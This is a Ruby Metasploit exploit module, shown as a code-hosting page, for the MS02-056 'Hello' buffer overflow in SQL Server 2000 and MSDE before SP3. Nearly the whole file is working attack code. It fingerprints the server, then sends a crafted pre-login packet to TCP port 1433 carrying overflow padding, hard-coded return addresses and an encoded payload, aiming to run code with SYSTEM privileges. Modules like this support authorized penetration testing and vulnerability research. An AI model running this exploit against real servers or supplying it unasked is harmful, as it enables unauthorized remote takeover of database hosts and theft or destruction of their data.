88 lines
2.2 KiB
Ruby
88 lines
2.2 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Mssql::MS02_056_HelloOverflow < Msf::Exploit::Remote
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include Exploit::Remote::MSSQL
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MSSQL 2000/MSDE Hello Buffer Overflow',
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'Description' => %q{
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By sending malformed data to TCP port 1433, an
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unauthenticated remote attacker could overflow a buffer and
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possibly execute code on the server with SYSTEM level
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privileges. This module should work against any vulnerable
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SQL Server 2000 or MSDE install (< SP3).
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},
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'Author' => [ 'MC <y0@w00t-shell.net>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'MSB', 'MS02-056'],
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[ 'CVE', '2002-1123'],
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[ 'MIL', '43'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'MSSQL 2000 / MSDE <= SP2',
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{
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'Platform' => 'win',
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'Rets' => [0x42b68aba, 0x42d01e50],
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},
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],
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],
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'Platform' => 'win',
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'DisclosureDate' => 'Aug 5 2002',
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'DefaultTarget' => 0))
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end
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def check
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info = mssql_ping
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if (info['ServerName'])
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print_status("SQL Server Information:")
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info.each_pair { |k,v|
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print_status(" #{k + (" " * (15-k.length))} = #{v}")
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}
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
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"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
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"\x10\x00\x00\x00" +
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Rex::Text.rand_text_english(528, payload_badchars) +
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"\x1B\xA5\xEE\x34" +
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Rex::Text.rand_text_english(4, payload_badchars) +
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[ target['Rets'][0] ].pack('V') +
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[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
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'3333' +
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[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
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Rex::Text.rand_text_english(88, payload_badchars) +
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payload.encoded +
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"\x00\x24\x01\x00\x00"
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sock.put(buf)
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handler
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disconnect
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end
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end
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end
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